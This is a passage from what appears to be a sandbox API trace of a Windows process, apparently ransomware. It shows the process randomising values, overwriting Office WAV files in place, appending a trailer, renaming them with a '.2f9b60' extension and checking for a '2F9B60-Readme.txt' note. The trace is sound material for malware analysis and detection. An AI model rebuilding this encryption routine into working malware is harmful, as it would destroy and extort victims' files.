Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV", dwFileAttributes=0x20) returned 1 [0102.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1650 [0102.676] GetFileSizeEx (in: hFile=0x1650, lpFileSize=0x2e3ffca0 | out: lpFileSize=0x2e3ffca0*=23584) returned 1 [0102.676] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x5c1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.677] ReadFile (in: hFile=0x1650, lpBuffer=0x2e3ffc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3ffc68, lpOverlapped=0x0 | out: lpBuffer=0x2e3ffc20*, lpNumberOfBytesRead=0x2e3ffc68*=0x4, lpOverlapped=0x0) returned 1 [0102.693] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601a0 [0102.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0102.694] NtQuerySystemTime (in: CurrentTime=0x2e3ffb60 | out: CurrentTime=0x2e3ffb60*=132462177082090000) returned 0x0 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x2ad8c605 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x7fff4548 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x2e34df3d [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x54f04d79 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x6b080019 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0xc604a37 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x7cc21363 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x1daaf6bc [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x68f40654 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x5026d0e6 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x4419c080 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x5c2912fc [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x2f63008d [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x23fc0bd5 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x5f07dae3 [0102.694] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x666ce2af [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x45f10c38 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x6184d506 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x653e2a91 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x40421f1c [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x61a10183 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0xafefdeb [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0xafefdeb [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x6d04dfda [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x11c84b03 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x3a83e523 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x6512d889 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x431f1495 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x7e4d0aae [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x51ca9ff [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x109d5104 [0102.695] RtlRandomEx (in: Seed=0x2e3ffb50 | out: Seed=0x2e3ffb50) returned 0x47f1fa6a [0102.704] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.704] ReadFile (in: hFile=0x1650, lpBuffer=0x202ee1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e3ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x202ee1b0*, lpNumberOfBytesRead=0x2e3ffbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.711] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0102.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0102.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0102.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0102.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202df170 [0102.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0102.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0102.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0102.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0102.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0102.712] WriteFile (in: hFile=0x1650, lpBuffer=0x202df170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e3ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesWritten=0x2e3ffbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0148.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ee1b0) returned 1 [0148.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ab40 [0148.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0148.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0148.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0148.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859df0 [0148.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0148.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad80 [0148.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad80) returned 1 [0148.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0148.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1692b0 [0148.040] SetFilePointerEx (in: hFile=0x1650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.040] WriteFile (hFile=0x1650, lpBuffer=0x1692b0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e3ffc70, lpOverlapped=0x0) [0181.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce611a0 [0181.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb7d60 [0181.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dc80 [0181.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dc80) returned 1 [0181.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d220 [0181.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dc80 [0181.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dcb0 [0181.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dcb0) returned 1 [0181.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb7d60) returned 1 [0181.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce611a0) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9edb0 [0181.423] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="dc") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="d9") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="93") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="e7") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="90") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="7d") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="3b") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="3d") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="cf") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="53") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="30") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="81") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="e2") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="c8") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="71") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="e2") returned 2 [0181.423] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="d9") returned 2 [0181.424] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="d3") returned 2 [0181.424] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="28") returned 2 [0181.424] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="8c") returned 2 [0181.424] sprintf (in: _Dest=0x1cd9edd8, _Format="%c%c" | out: _Dest="08") returned 2 [0181.424] sprintf (in: _Dest=0x1cd9edda, _Format="%c%c" | out: _Dest="27") returned 2 [0181.424] RtlInitAnsiString (in: DestinationString=0x2e3ffce8, SourceString="dcd993e7907d3b3dcf533081e2c871e2d9d3288c0827" | out: DestinationString="dcd993e7907d3b3dcf533081e2c871e2d9d3288c0827") [0181.424] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e3ffcb8, SourceString="dcd993e7907d3b3dcf533081e2c871e2d9d3288c0827", AllocateDestinationString=1 | out: DestinationString="dcd993e7907d3b3dcf533081e2c871e2d9d3288c0827") returned 0x0 [0181.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce15300 [0181.424] RtlFreeAnsiString (AnsiString="d") [0181.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d220) returned 1 [0181.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dc80) returned 1 [0181.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1692b0) returned 1 [0181.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0181.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c10) returned 1 [0181.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0181.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0181.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601a0) returned 1 [0181.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d10) returned 1 [0181.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0181.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c223f0 [0181.430] wcscat (in: _Dest=0x42c223f0, _Source="dcd993e7907" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907" [0181.430] wcscat (in: _Dest=0x42c223f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907.2f9b60" [0181.430] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907.2f9b60", NtPathName=0x2e3ffc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dcd993e7907.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c030 [0190.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c030) returned 1 [0190.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290dd0) returned 1 [0190.822] NtQueryInformationFile (in: FileHandle=0x1650, IoStatusBlock=0x2e3ffcf8, FileInformation=0x2e3ffd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e3ffcf8, FileInformation=0x2e3ffd08) returned 0x0 [0190.822] NtSetInformationFile (FileHandle=0x1650, IoStatusBlock=0x2e3ffcf8, FileInformation=0x2e3ffd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c223f0) returned 1 [0203.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15300) returned 1 [0203.998] FlushFileBuffers (hFile=0x1650) returned 1 [0205.716] CloseHandle (hObject=0x1650) returned 1 [0215.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a140 [0215.817] wcscpy (in: _Dest=0x2050a140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0215.818] wcscat (in: _Dest=0x2050a140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0215.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0215.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a140) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4770) returned 1 Thread: id = 909 os_tid = 0x14dc [0101.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav")) returned 0x20 [0102.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV", dwFileAttributes=0x20) returned 1 [0102.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1644 [0102.647] GetFileSizeEx (in: hFile=0x1644, lpFileSize=0x2e48fa40 | out: lpFileSize=0x2e48fa40*=4028) returned 1 [0102.647] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0xfb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.647] ReadFile (in: hFile=0x1644, lpBuffer=0x2e48f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e48fa08, lpOverlapped=0x0 | out: lpBuffer=0x2e48f9c0*, lpNumberOfBytesRead=0x2e48fa08*=0x4, lpOverlapped=0x0) returned 1 [0102.655] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0102.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0102.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0102.656] NtQuerySystemTime (in: CurrentTime=0x2e48f900 | out: CurrentTime=0x2e48f900*=132462177081778000) returned 0x0 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x678b812 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x187a3fb1 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x567a7820 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x445f366a [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x5c324de2 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0xe1f549f [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x82a6554 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x5ffb000a [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x880e2d1 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x1ed78dcd [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x687fb0d [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x42a8829a [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x6d773fa6 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x54d80755 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0xce74485 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x55881af2 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x3ed42ed4 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x8e2ea81 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x1b5f7865 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x8cac5f9 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x3ac2f1cc [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x42f24fd9 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x32af7086 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x7def9278 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x101214a [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x5de2b666 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x2fee7051 [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x1024c04c [0102.656] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x2d12f625 [0102.657] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x592b3305 [0102.657] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x56d44b09 [0102.657] RtlRandomEx (in: Seed=0x2e48f8f0 | out: Seed=0x2e48f8f0) returned 0x37d51fa0 [0102.665] ReadFile (in: hFile=0x1644, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x2e48f8f0, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x2e48f8f0*=0xfbc, lpOverlapped=0x0) returned 1 [0102.665] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.665] WriteFile (in: hFile=0x1644, lpBuffer=0x202e2d80*, nNumberOfBytesToWrite=0xfbc, lpNumberOfBytesWritten=0x2e48f8f4, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesWritten=0x2e48f8f4*=0xfbc, lpOverlapped=0x0) returned 1 [0103.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0103.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0103.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 [0103.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e2d80) returned 1 [0103.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c4d00) returned 1 [0103.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0103.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0103.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85b3e0 [0103.454] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.454] WriteFile (in: hFile=0x1644, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e48fa10, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x2e48fa10*=0x106, lpOverlapped=0x0) returned 1 [0103.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0103.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a40) returned 1 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0103.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0103.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f630 [0103.866] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ba") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="e4") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="3e") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="02") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="54") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="58") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="e6") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="ef") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="3d") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="0a") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d8") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="e7") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="1a") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="6e") returned 2 [0103.866] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="ac") returned 2 [0103.867] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="a9") returned 2 [0103.867] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="f6") returned 2 [0103.867] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ce") returned 2 [0103.867] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="44") returned 2 [0103.867] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b5") returned 2 [0103.867] RtlInitAnsiString (in: DestinationString=0x2e48fa88, SourceString="bae43e025458e6ef3d0ad8e71a6eaca9f6ce44b5" | out: DestinationString="bae43e025458e6ef3d0ad8e71a6eaca9f6ce44b5") 